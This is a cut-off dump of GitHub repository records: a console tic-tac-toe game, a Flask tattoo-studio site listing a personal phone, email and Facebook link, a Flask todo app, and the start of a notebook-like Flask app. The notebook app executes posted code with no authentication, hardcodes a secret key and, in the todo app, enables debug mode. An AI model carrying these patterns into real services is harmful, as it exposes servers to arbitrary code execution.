| '+mylist[9]+' ')\\n\\tprint(' | | ')\\n\\tprint('-----------------')\\n\\tprint(' | | ')\\n\\tprint(' '+mylist[4] + ' | '+mylist[5]+' | '+mylist[6]+' ')\\n\\tprint(' | | ')\\n\\tprint('-----------------')\\n\\tprint(' | | ')\\n\\tprint(' '+mylist[1] + ' | '+mylist[2]+' | '+mylist[3]+' ')\\n\\tprint(' | | ')\\n\\t\\ndef player_input():\\n\\tmarker= False\\n\\twhile marker not in ['X','O']:\\n\\t\\tprint('Player 1: Do You want X or O? ')\\n\\t\\tmarker = input()\\n\\tif(marker == 'X'):\\n\\t\\treturn ('X','O')\\n\\telse:\\n\\t\\treturn ('O','X')\\t\\n\\t\\t\\t\\ndef place_marker(Test_board,marker,position):\\t\\n\\tTest_board[position]= marker\\n\\tdisplay_board(Test_board)\\t\\n\\ndef win_check(board,mark):\\n\\treturn (\\n\\t(board[1] == board[2] == board[3] == mark)or #row\\n\\t(board[4] == board[5] == board[6] == mark)or #row\\n\\t(board[7] == board[8] == board[9] == mark)or #row\\n\\t(board[1] == board[4] == board[7] == mark)or #column\\n\\t(board[2] == board[5] == board[8] == mark)or #column\\n\\t(board[3] == board[6] == board[9] == mark)or #column\\n\\t(board[7] == board[5] == board[3] == mark)or #dig\\n\\t(board[1] == board[5] == board[9] == mark) #dig\\n\\t)\\t\\n\\t\\ndef choose_first():\\n\\tflip = random.randint(0,1)\\n\\tif(flip == 0):\\n\\t\\treturn 'Player 1'\\n\\telse:\\n\\t\\treturn 'Player 2'\\n\\n\\n#if space in the board is freely available\\ndef space_check(board,position):\\n\\treturn board[position] == ' ' \\n\\t\\n#if the board full return true\\ndef full_board_check(board):\\n\\tfor i in range(1,10):\\n\\t\\tif(space_check(board,i)):\\n\\t\\t\\treturn False\\n\\t\\t\\n\\treturn True\\t\\n\\t\\n#Player's move\\t\\ndef player_choice(board,turn):\\n\\tpos = 0\\n\\twhile pos not in [1,2,3,4,5,6,7,8,9] or not space_check(board,pos):\\n\\t\\tpos = int(input(turn + ' choose num between 1-9: '))\\n\\treturn pos\\t\\n\\t\\t\\t\\n#ask player if they want to play again\\ndef reply():\\n\\treturn input('want to play again? select Yes otherwise No : ')\\t== 'Yes'\\t\\n\\n\\n#while loop to keep running the game\\nprint('Welcome to Tic Tac Toe\\\\n')\\n\\nwhile True:\\n\\t#Play the game.\\n\\n\\t##Set everything up-> board<choose marker<whose first\\n\\tthe_board = [' ']*10\\n\\tPlayer1marker, Player2marker = player_input()\\n\\tturn = choose_first()\\n\\t\\n\\tprint(turn + ' Goes first!!!\\\\n')\\n\\tPlayGame = input('Ready to play? y or n: ')\\n\\tif(PlayGame == 'y'):\\n\\t\\tGameON = True\\n\\telse:\\n\\t\\tGameON = False\\n\\t\\t\\n\\t#Game play\\n\\twhile GameON:\\n\\t\\tif turn == 'Player 1':\\n\\t\\t\\t##Player one turn\\n\\t\\t\\t\\n\\t\\t\\t#show the board\\n\\t\\t\\tdisplay_board(the_board)\\n\\t\\t\\t\\n\\t\\t\\t#choose a position\\n\\t\\t\\tpos = player_choice(the_board,turn)\\n\\t\\t\\t\\n\\t\\t\\t#place the marker on the position\\n\\t\\t\\tplace_marker(the_board,Player1marker,pos)\\n\\t\\t\\t\\n\\t\\t\\t#check if they won\\n\\t\\t\\tif win_check(the_board,Player1marker):\\n\\t\\t\\t\\tdisplay_board(the_board)\\n\\t\\t\\t\\tprint(turn + ' wins\\\\n')\\n\\t\\t\\t\\tGameON = False\\n\\t\\t\\telse:\\n\\t\\t\\t\\t#or check if there is a tie\\t\\t\\t\\n\\t\\t\\t\\tif(full_board_check(the_board)):\\n\\t\\t\\t\\t\\tdisplay_board(the_board)\\n\\t\\t\\t\\t\\tprint('Tie Game\\\\n')\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t#no tie and no win ? then next player's turn\\n\\t\\t\\t\\t\\tturn = 'Player 2'\\t\\t\\t\\t \\n\\t\\telse:\\n\\t\\t\\t## Player Two turn\\n\\t\\t\\t\\n\\t\\t\\t#show the board\\n\\t\\t\\tdisplay_board(the_board)\\n\\t\\t\\t\\n\\t\\t\\t#choose a position\\n\\t\\t\\tpos = player_choice(the_board,turn)\\n\\t\\t\\t\\n\\t\\t\\t#place the marker on the position\\n\\t\\t\\tplace_marker(the_board,Player2marker,pos)\\n\\t\\t\\t\\n\\t\\t\\t#check if they won\\n\\t\\t\\tif win_check(the_board,Player2marker):\\n\\t\\t\\t\\tdisplay_board(the_board)\\n\\t\\t\\t\\tprint(turn + ' wins\\\\n')\\n\\t\\t\\t\\tGameON = False\\n\\t\\t\\telse:\\n\\t\\t\\t\\t#or check if there is a tie\\t\\t\\t\\n\\t\\t\\t\\tif(full_board_check(the_board)):\\n\\t\\t\\t\\t\\tdisplay_board(the_board)\\n\\t\\t\\t\\t\\tprint('Tie Game\\\\n')\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t#no tie and no win ? then next player's turn\\n\\t\\t\\t\\t\\tturn = 'Player 1'\\t\\n\\t\\t\\n\\tif(not reply()):\\n\\t\\tbreak\\n\\t\\t\\t\\t\\t\\n\\t\\n\\t\\t\\n\\t\\t\\n\\n\\t\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978367,"cells":{"repo_name":{"kind":"string","value":"ikcilrep/tatoos"},"repo_url":{"kind":"string","value":"https://github.com/ikcilrep/tatoos"},"snapshot_id":{"kind":"string","value":"0e9935b0ca6f11206bb6792246e2d1a71bfb7ea9"},"revision_id":{"kind":"string","value":"bc5cbe10cefe98460d3deb0b2202cb8cbf7abae2"},"directory_id":{"kind":"string","value":"24c4ad54b511b92b4fcc3c10fc009333457cd269"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-06-16T08:36:59.045452","string":"2020-06-16T08:36:59.045452"},"revision_date":{"kind":"timestamp","value":"2019-08-01T16:25:12","string":"2019-08-01T16:25:12"},"committer_date":{"kind":"timestamp","value":"2019-08-01T16:25:12","string":"2019-08-01T16:25:12"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7424242496490479,"alphanum_fraction":0.7424242496490479,"avg_line_length":54,"blob_id":"819da7b1be5a748358a007895fcfd9be27c9edc2","content_id":"c61477b9cdd81fe218128dd82489ebcd8bbaefab","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":330,"license_type":"no_license","max_line_length":78,"num_lines":6,"path":"/app/static/js/initializers.js","repo_name":"ikcilrep/tatoos","src_encoding":"UTF-8","text":"document.addEventListener('DOMContentLoaded', function () {\n M.Carousel.init(document.querySelectorAll('.carousel'),{fullWidth: true});\n M.Sidenav.init(document.querySelectorAll('.sidenav'));\n M.Collapsible.init(document.querySelectorAll('.collapsible'));\n M.Parallax.init(document.querySelectorAll('.parallax'));\n});\n"},{"alpha_fraction":0.5493454337120056,"alphanum_fraction":0.5528700947761536,"avg_line_length":43.13333511352539,"blob_id":"182ba87226f81735b800d3099622d9bf8314d8eb","content_id":"a837c3b8c308927595389fcf6773e4b3cd7daeb3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"HTML","length_bytes":1988,"license_type":"no_license","max_line_length":180,"num_lines":45,"path":"/app/templates/base.html","repo_name":"ikcilrep/tatoos","src_encoding":"UTF-8","text":"{% set sites = [(\"/\",\"Strona główna\", \"home\", 0), (\"portfolio\",\"Portfolio\", \"collections\", 1), (\"patterns\",\"Wzory\", \"store\", 2), (\"money\",\"Cennik\", \"account_balance_wallet\", 3)]%}\n\n<head>\n <meta name=viewport content=\"width=device-width, initial-scale=1\">\n <link href=\"https://fonts.googleapis.com/icon?family=Material+Icons\" rel=\"stylesheet\">\n <link rel=\"stylesheet\" href=\"{{ url_for('static', filename='css/style.css') }}\">\n <link rel=\"stylesheet\" href=\"{{ url_for('static', filename='css/materialize.min.css') }}\">\n</head>\n<title>{{sites[this_identifier][1]}}</title>\n\n<body>\n {% block navbar%}\n <nav>\n <div class=\"nav-wrapper z-depth-5\">\n <a href=\"#\" class=\"brand-logo right\"><i class=\"material-icons left\">brush</i>Handpoketatoos</a>\n <a href=\"#\" data-target=\"slide-out\" class=\"sidenav-trigger\"><i class=\"material-icons\">menu</i></a>\n <ul id=\"nav-mobile\" class=\"left hide-on-med-and-down\">\n {% for href, caption,icon, identifier in sites%}\n {% if this_identifier != identifier%}\n\n <li><a class=\"waves-effect waves-purple\" href={{href}}><i\n class=\"material-icons left\">{{icon}}</i>{{caption}}</a></li>\n {%endif%}\n {% endfor %}\n </ul>\n </div>\n </nav>\n {% endblock%}\n {%block sidenav%}\n <ul id=\"slide-out\" class=\"sidenav\">\n {% for href, caption,icon, identifier in sites%}\n {% if this_identifier != identifier%}\n <li><a class=\"waves-effect waves-purple\" href={{href}}><i\n class=\"material-icons left\">{{icon}}</i>{{caption}}</a></li> {%endif%}\n {% endfor %}\n </ul>\n {%endblock%}\n {% block content %}\n {% endblock %}\n\n {% block scripts%}\n <script src=\"{{ url_for('static', filename='js/materialize.min.js') }}\"></script>\n <script src=\"{{ url_for('static', filename='js/initializers.js') }}\"></script>\n {% endblock%}\n</body>\n"},{"alpha_fraction":0.527746319770813,"alphanum_fraction":0.5628539323806763,"avg_line_length":41.0476188659668,"blob_id":"b04934e809b874e41ef6e70e94f78cffb8719191","content_id":"483d043a9b52f4506e67c8eda09088383af0c795","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"HTML","length_bytes":892,"license_type":"no_license","max_line_length":119,"num_lines":21,"path":"/app/templates/money.html","repo_name":"ikcilrep/tatoos","src_encoding":"UTF-8","text":"{%extends 'base.html'%}\n\n{% block content%}\n<div class=\"container\">\n <div class=\"row\">\n <div class=\"col s12 z-depth-1\" style=\"padding-bottom:15px;\">\n <p class=\"flow-text\">Ceny tatuażów wahają między 60zł, a 200zł w zależności od poziomu skomplikowania wzoru\n i są\n do\n ustalenia.</p>\n <a class=\"waves-effect waves-light btn\" href=\"Tel: 660-629-345\"><i\n class=\"material-icons left\">local_phone</i>+48 660 629 345</a>\n <a class=\"waves-effect waves-light btn\" href=\"mailto: nattax84@gmail.com\"><i\n class=\"material-icons left\">email</i>nattax84@gmail.com</a>\n <a class=\"waves-effect waves-light btn\" href=\"https://www.facebook.com/natalia.perlicka.1\"><i\n class=\"material-icons left\">person</i>Facebook</a>\n\n </div>\n </div>\n</div>\n{%endblock%}\n"},{"alpha_fraction":0.7019608020782471,"alphanum_fraction":0.7156862616539001,"avg_line_length":27.33333396911621,"blob_id":"714da738ac1aeab4ea8420a450424ee326dcbaec","content_id":"33cf0238ccb81e1afdc5631a44d6c15cfb984a52","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":510,"license_type":"no_license","max_line_length":94,"num_lines":18,"path":"/app/routes.py","repo_name":"ikcilrep/tatoos","src_encoding":"UTF-8","text":"from app import app\nfrom flask import render_template\n\n@app.route(\"/\")\ndef index():\n return render_template('main.html', this_identifier=0)\n\n@app.route(\"/portfolio\")\ndef portfolio():\n return render_template('images.html', this_identifier=1, directory='portfolio', length=25)\n\n@app.route(\"/patterns\")\ndef patterns():\n return render_template('images.html', this_identifier=2, directory='patterns', length=8)\n\n@app.route(\"/money\")\ndef about():\n return render_template('money.html', this_identifier=3)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7424242496490479,\n \"alphanum_fraction\": 0.7424242496490479,\n \"avg_line_length\": 54,\n \"blob_id\": \"819da7b1be5a748358a007895fcfd9be27c9edc2\",\n \"content_id\": \"c61477b9cdd81fe218128dd82489ebcd8bbaefab\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 330,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 6,\n \"path\": \"/app/static/js/initializers.js\",\n \"repo_name\": \"ikcilrep/tatoos\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"document.addEventListener('DOMContentLoaded', function () {\\n M.Carousel.init(document.querySelectorAll('.carousel'),{fullWidth: true});\\n M.Sidenav.init(document.querySelectorAll('.sidenav'));\\n M.Collapsible.init(document.querySelectorAll('.collapsible'));\\n M.Parallax.init(document.querySelectorAll('.parallax'));\\n});\\n\"\n },\n {\n \"alpha_fraction\": 0.5493454337120056,\n \"alphanum_fraction\": 0.5528700947761536,\n \"avg_line_length\": 43.13333511352539,\n \"blob_id\": \"182ba87226f81735b800d3099622d9bf8314d8eb\",\n \"content_id\": \"a837c3b8c308927595389fcf6773e4b3cd7daeb3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"HTML\",\n \"length_bytes\": 1988,\n \"license_type\": \"no_license\",\n \"max_line_length\": 180,\n \"num_lines\": 45,\n \"path\": \"/app/templates/base.html\",\n \"repo_name\": \"ikcilrep/tatoos\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"{% set sites = [(\\\"/\\\",\\\"Strona główna\\\", \\\"home\\\", 0), (\\\"portfolio\\\",\\\"Portfolio\\\", \\\"collections\\\", 1), (\\\"patterns\\\",\\\"Wzory\\\", \\\"store\\\", 2), (\\\"money\\\",\\\"Cennik\\\", \\\"account_balance_wallet\\\", 3)]%}\\n\\n<head>\\n <meta name=viewport content=\\\"width=device-width, initial-scale=1\\\">\\n <link href=\\\"https://fonts.googleapis.com/icon?family=Material+Icons\\\" rel=\\\"stylesheet\\\">\\n <link rel=\\\"stylesheet\\\" href=\\\"{{ url_for('static', filename='css/style.css') }}\\\">\\n <link rel=\\\"stylesheet\\\" href=\\\"{{ url_for('static', filename='css/materialize.min.css') }}\\\">\\n</head>\\n<title>{{sites[this_identifier][1]}}</title>\\n\\n<body>\\n {% block navbar%}\\n <nav>\\n <div class=\\\"nav-wrapper z-depth-5\\\">\\n <a href=\\\"#\\\" class=\\\"brand-logo right\\\"><i class=\\\"material-icons left\\\">brush</i>Handpoketatoos</a>\\n <a href=\\\"#\\\" data-target=\\\"slide-out\\\" class=\\\"sidenav-trigger\\\"><i class=\\\"material-icons\\\">menu</i></a>\\n <ul id=\\\"nav-mobile\\\" class=\\\"left hide-on-med-and-down\\\">\\n {% for href, caption,icon, identifier in sites%}\\n {% if this_identifier != identifier%}\\n\\n <li><a class=\\\"waves-effect waves-purple\\\" href={{href}}><i\\n class=\\\"material-icons left\\\">{{icon}}</i>{{caption}}</a></li>\\n {%endif%}\\n {% endfor %}\\n </ul>\\n </div>\\n </nav>\\n {% endblock%}\\n {%block sidenav%}\\n <ul id=\\\"slide-out\\\" class=\\\"sidenav\\\">\\n {% for href, caption,icon, identifier in sites%}\\n {% if this_identifier != identifier%}\\n <li><a class=\\\"waves-effect waves-purple\\\" href={{href}}><i\\n class=\\\"material-icons left\\\">{{icon}}</i>{{caption}}</a></li> {%endif%}\\n {% endfor %}\\n </ul>\\n {%endblock%}\\n {% block content %}\\n {% endblock %}\\n\\n {% block scripts%}\\n <script src=\\\"{{ url_for('static', filename='js/materialize.min.js') }}\\\"></script>\\n <script src=\\\"{{ url_for('static', filename='js/initializers.js') }}\\\"></script>\\n {% endblock%}\\n</body>\\n\"\n },\n {\n \"alpha_fraction\": 0.527746319770813,\n \"alphanum_fraction\": 0.5628539323806763,\n \"avg_line_length\": 41.0476188659668,\n \"blob_id\": \"b04934e809b874e41ef6e70e94f78cffb8719191\",\n \"content_id\": \"483d043a9b52f4506e67c8eda09088383af0c795\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"HTML\",\n \"length_bytes\": 892,\n \"license_type\": \"no_license\",\n \"max_line_length\": 119,\n \"num_lines\": 21,\n \"path\": \"/app/templates/money.html\",\n \"repo_name\": \"ikcilrep/tatoos\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"{%extends 'base.html'%}\\n\\n{% block content%}\\n<div class=\\\"container\\\">\\n <div class=\\\"row\\\">\\n <div class=\\\"col s12 z-depth-1\\\" style=\\\"padding-bottom:15px;\\\">\\n <p class=\\\"flow-text\\\">Ceny tatuażów wahają między 60zł, a 200zł w zależności od poziomu skomplikowania wzoru\\n i są\\n do\\n ustalenia.</p>\\n <a class=\\\"waves-effect waves-light btn\\\" href=\\\"Tel: 660-629-345\\\"><i\\n class=\\\"material-icons left\\\">local_phone</i>+48 660 629 345</a>\\n <a class=\\\"waves-effect waves-light btn\\\" href=\\\"mailto: nattax84@gmail.com\\\"><i\\n class=\\\"material-icons left\\\">email</i>nattax84@gmail.com</a>\\n <a class=\\\"waves-effect waves-light btn\\\" href=\\\"https://www.facebook.com/natalia.perlicka.1\\\"><i\\n class=\\\"material-icons left\\\">person</i>Facebook</a>\\n\\n </div>\\n </div>\\n</div>\\n{%endblock%}\\n\"\n },\n {\n \"alpha_fraction\": 0.7019608020782471,\n \"alphanum_fraction\": 0.7156862616539001,\n \"avg_line_length\": 27.33333396911621,\n \"blob_id\": \"714da738ac1aeab4ea8420a450424ee326dcbaec\",\n \"content_id\": \"33cf0238ccb81e1afdc5631a44d6c15cfb984a52\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 510,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 18,\n \"path\": \"/app/routes.py\",\n \"repo_name\": \"ikcilrep/tatoos\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from app import app\\nfrom flask import render_template\\n\\n@app.route(\\\"/\\\")\\ndef index():\\n return render_template('main.html', this_identifier=0)\\n\\n@app.route(\\\"/portfolio\\\")\\ndef portfolio():\\n return render_template('images.html', this_identifier=1, directory='portfolio', length=25)\\n\\n@app.route(\\\"/patterns\\\")\\ndef patterns():\\n return render_template('images.html', this_identifier=2, directory='patterns', length=8)\\n\\n@app.route(\\\"/money\\\")\\ndef about():\\n return render_template('money.html', this_identifier=3)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":4,"string":"4"}}},{"rowIdx":2978368,"cells":{"repo_name":{"kind":"string","value":"Tunahansrn/Todo-App"},"repo_url":{"kind":"string","value":"https://github.com/Tunahansrn/Todo-App"},"snapshot_id":{"kind":"string","value":"a1297b566823a690460c678b32e1c03e1dd4e63f"},"revision_id":{"kind":"string","value":"139847a6d54b7e80e50a40e40682818eec1d3e66"},"directory_id":{"kind":"string","value":"713bd0c00d58e9d47a9e374c33e900c512f9c415"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-06-24T04:49:46.869692","string":"2023-06-24T04:49:46.869692"},"revision_date":{"kind":"timestamp","value":"2021-07-25T16:48:54","string":"2021-07-25T16:48:54"},"committer_date":{"kind":"timestamp","value":"2021-07-25T16:48:54","string":"2021-07-25T16:48:54"},"github_id":{"kind":"number","value":389155991,"string":"389,155,991"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6437976360321045,"alphanum_fraction":0.6451836228370667,"avg_line_length":28.10416603088379,"blob_id":"09e4b8211fbd67fa9405b658657f07258fc2224e","content_id":"e79f4c7ce0c2b17e5636709e072803bc298e5f65","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1443,"license_type":"no_license","max_line_length":89,"num_lines":48,"path":"/Todo-App/todo.py","repo_name":"Tunahansrn/Todo-App","src_encoding":"UTF-8","text":"from functools import total_ordering\r\nfrom logging import debug\r\nfrom flask import Flask,render_template,redirect,url_for,request\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom sqlalchemy.orm import query, session\r\n\r\napp = Flask(__name__)\r\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////Users/tunah/Desktop/Todo-App/todo.db'\r\ndb = SQLAlchemy(app)\r\n\r\nclass todo(db.Model):\r\n id = db.Column(db.Integer, primary_key = True)\r\n title = db.Column(db.String(64))\r\n complete = db.Column(db.Boolean)\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n nwtodo = todo.query.all()\r\n return render_template(\"index.html\",todos = nwtodo)\r\n\r\n@app.route(\"/add\",methods=[\"POST\"])\r\ndef add():\r\n title = request.form.get(\"title\")\r\n if not title:\r\n return redirect(url_for(\"index\"))\r\n else:\r\n newtodo = todo(title=title,complete = False)\r\n db.session.add(newtodo)\r\n db.session.commit()\r\n return redirect(url_for(\"index\"))\r\n\r\n@app.route(\"/complete/<string:id>\")\r\ndef complete(id):\r\n nwtodo = todo.query.filter_by(id = id).first()\r\n nwtodo.complete = not nwtodo.complete\r\n db.session.commit()\r\n return redirect(url_for(\"index\"))\r\n\r\n@app.route(\"/delete/<string:id>\")\r\ndef delete(id):\r\n newtodo = todo.query.filter_by(id = id).first()\r\n db.session.delete(newtodo)\r\n db.session.commit()\r\n return redirect(url_for(\"index\"))\r\n\r\nif __name__ == \"__main__\":\r\n db.create_all()\r\n app.run(debug=True)"}],"string":"[\n {\n \"alpha_fraction\": 0.6437976360321045,\n \"alphanum_fraction\": 0.6451836228370667,\n \"avg_line_length\": 28.10416603088379,\n \"blob_id\": \"09e4b8211fbd67fa9405b658657f07258fc2224e\",\n \"content_id\": \"e79f4c7ce0c2b17e5636709e072803bc298e5f65\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1443,\n \"license_type\": \"no_license\",\n \"max_line_length\": 89,\n \"num_lines\": 48,\n \"path\": \"/Todo-App/todo.py\",\n \"repo_name\": \"Tunahansrn/Todo-App\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from functools import total_ordering\\r\\nfrom logging import debug\\r\\nfrom flask import Flask,render_template,redirect,url_for,request\\r\\nfrom flask_sqlalchemy import SQLAlchemy\\r\\nfrom sqlalchemy.orm import query, session\\r\\n\\r\\napp = Flask(__name__)\\r\\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////Users/tunah/Desktop/Todo-App/todo.db'\\r\\ndb = SQLAlchemy(app)\\r\\n\\r\\nclass todo(db.Model):\\r\\n id = db.Column(db.Integer, primary_key = True)\\r\\n title = db.Column(db.String(64))\\r\\n complete = db.Column(db.Boolean)\\r\\n\\r\\n@app.route(\\\"/\\\")\\r\\ndef index():\\r\\n nwtodo = todo.query.all()\\r\\n return render_template(\\\"index.html\\\",todos = nwtodo)\\r\\n\\r\\n@app.route(\\\"/add\\\",methods=[\\\"POST\\\"])\\r\\ndef add():\\r\\n title = request.form.get(\\\"title\\\")\\r\\n if not title:\\r\\n return redirect(url_for(\\\"index\\\"))\\r\\n else:\\r\\n newtodo = todo(title=title,complete = False)\\r\\n db.session.add(newtodo)\\r\\n db.session.commit()\\r\\n return redirect(url_for(\\\"index\\\"))\\r\\n\\r\\n@app.route(\\\"/complete/<string:id>\\\")\\r\\ndef complete(id):\\r\\n nwtodo = todo.query.filter_by(id = id).first()\\r\\n nwtodo.complete = not nwtodo.complete\\r\\n db.session.commit()\\r\\n return redirect(url_for(\\\"index\\\"))\\r\\n\\r\\n@app.route(\\\"/delete/<string:id>\\\")\\r\\ndef delete(id):\\r\\n newtodo = todo.query.filter_by(id = id).first()\\r\\n db.session.delete(newtodo)\\r\\n db.session.commit()\\r\\n return redirect(url_for(\\\"index\\\"))\\r\\n\\r\\nif __name__ == \\\"__main__\\\":\\r\\n db.create_all()\\r\\n app.run(debug=True)\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978369,"cells":{"repo_name":{"kind":"string","value":"irina-goltsman/pseudo-jupyter"},"repo_url":{"kind":"string","value":"https://github.com/irina-goltsman/pseudo-jupyter"},"snapshot_id":{"kind":"string","value":"fd7a8859b9ed2dcdf5bdffba6afbca4594d01f8f"},"revision_id":{"kind":"string","value":"e9ffcef039555b5a6c4660b16336ecb78857cda9"},"directory_id":{"kind":"string","value":"ba32695f88652dd5b69ae0ef56ceb8154bbe20e6"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-05-05T11:11:40.064316","string":"2020-05-05T11:11:40.064316"},"revision_date":{"kind":"timestamp","value":"2019-04-07T18:45:43","string":"2019-04-07T18:45:43"},"committer_date":{"kind":"timestamp","value":"2019-04-07T18:45:43","string":"2019-04-07T18:45:43"},"github_id":{"kind":"number","value":179979249,"string":"179,979,249"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"timestamp","value":"2019-04-07T14:40:46","string":"2019-04-07T14:40:46"},"gha_updated_at":{"kind":"timestamp","value":"2019-04-06T19:25:10","string":"2019-04-06T19:25:10"},"gha_pushed_at":{"kind":"timestamp","value":"2019-04-06T19:25:08","string":"2019-04-06T19:25:08"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.698630154132843,"alphanum_fraction":0.7031963467597961,"avg_line_length":20.899999618530273,"blob_id":"c3dfcb81e8f6d9ba1770cb640998b684a116effa","content_id":"9cf8813ffb49569adfd6075fc480af3bc4373bbd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":219,"license_type":"no_license","max_line_length":50,"num_lines":10,"path":"/app/__init__.py","repo_name":"irina-goltsman/pseudo-jupyter","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport flask\nimport logging\n\napp = flask.Flask(__name__)\napp.config['SECRET_KEY'] = 'dskjgdskfjghdskjfhdfg'\n\n# create logger instance\nlogger = logging.getLogger(__name__)\nlogger.setLevel('INFO')\n"},{"alpha_fraction":0.6270963549613953,"alphanum_fraction":0.6307135820388794,"avg_line_length":28.52427101135254,"blob_id":"f168c72a1770f77497b35cd59e2fb4bfaed4bb8a","content_id":"3de89331bd6186b0ce420fdcfa7355d9b81c7ea9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3041,"license_type":"no_license","max_line_length":75,"num_lines":103,"path":"/app/views.py","repo_name":"irina-goltsman/pseudo-jupyter","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport os\nimport flask\n\nfrom app import ipynb\nfrom app import app, logger\n\n# global variables to store the current state of our notebook\nINPUTS = ['print(\"Type your code snippet here\")']\nOUTPUTS = ['']\nEXECUTE_COUNTERS = [0]\nCURRENT_EXECUTE_COUNT = 0\n\n\n@app.route('/favicon.ico')\ndef favicon():\n \"\"\"Handles browser's request for favicon\"\"\"\n return flask.send_from_directory(\n os.path.join(app.root_path, 'static'),\n 'favicon.ico'\n )\n\n\n@app.route('/', methods=['GET'])\ndef get():\n \"\"\"This triggers when you first open the site with your browser\"\"\"\n assert len(INPUTS) == len(OUTPUTS)\n return ipynb.render_notebook(INPUTS, OUTPUTS, EXECUTE_COUNTERS)\n\n\n@app.route('/execute_cell/<cell_id>', methods=['POST'])\ndef execute(cell_id=None):\n \"\"\"Gets piece of code from cell_id and executes it\"\"\"\n try:\n cell_id = int(cell_id)\n except ValueError as e:\n logger.warning(e)\n return flask.redirect('/')\n\n global CURRENT_EXECUTE_COUNT\n try:\n CURRENT_EXECUTE_COUNT += 1\n EXECUTE_COUNTERS[cell_id] = CURRENT_EXECUTE_COUNT\n\n INPUTS[cell_id] = flask.request.form['input{}'.format(cell_id)]\n result = ipynb.execute_snippet(INPUTS[cell_id], globals())\n except Exception as e:\n # anything could happen inside, even `exit()` call\n result = str(e)\n\n OUTPUTS[cell_id] = result\n return flask.redirect('/')\n\n\n@app.route('/add_cell', methods=['POST'])\ndef add_cell():\n \"\"\"Appends empty cell data to the end\"\"\"\n INPUTS.append('')\n OUTPUTS.append('')\n EXECUTE_COUNTERS.append(0)\n return flask.redirect('/')\n\n\n@app.route('/remove_cell/<cell_id>', methods=['POST'])\ndef remove_cell(cell_id=0):\n \"\"\"Removes a cell by number\"\"\"\n try:\n cell_id = int(cell_id)\n if len(INPUTS) < 2:\n raise ValueError('Cannot remove the last cell')\n if cell_id < 0 or cell_id >= len(INPUTS):\n raise ValueError('Bad cell id')\n except ValueError as e:\n # do not change internal info\n logger.warning(e)\n return flask.redirect('/')\n\n # remove related data\n INPUTS.pop(cell_id)\n OUTPUTS.pop(cell_id)\n EXECUTE_COUNTERS.pop(cell_id)\n return flask.redirect('/')\n\n\n@app.route('/ipynb', methods=['GET', 'POST'])\ndef ipynb_handler():\n \"\"\"\n Imports/exports notebook data in .ipynb format (a.k.a Jupyter Notebook)\n Docs: https://nbformat.readthedocs.io/en/latest/format_description.html\n \"\"\"\n global INPUTS, OUTPUTS\n if flask.request.method == 'GET':\n # return json representation of the notebook here\n return ipynb.export(INPUTS, OUTPUTS)\n elif flask.request.method == 'POST':\n # update internal data\n imported = ipynb.import_from_json(flask.request.get_json())\n # we can return None if json is not a valid ipynb\n if imported:\n INPUTS, OUTPUTS = imported\n # common practice for POST/PUT is returning empty json\n # when everything is 200 OK\n return flask.jsonify({})\n"}],"string":"[\n {\n \"alpha_fraction\": 0.698630154132843,\n \"alphanum_fraction\": 0.7031963467597961,\n \"avg_line_length\": 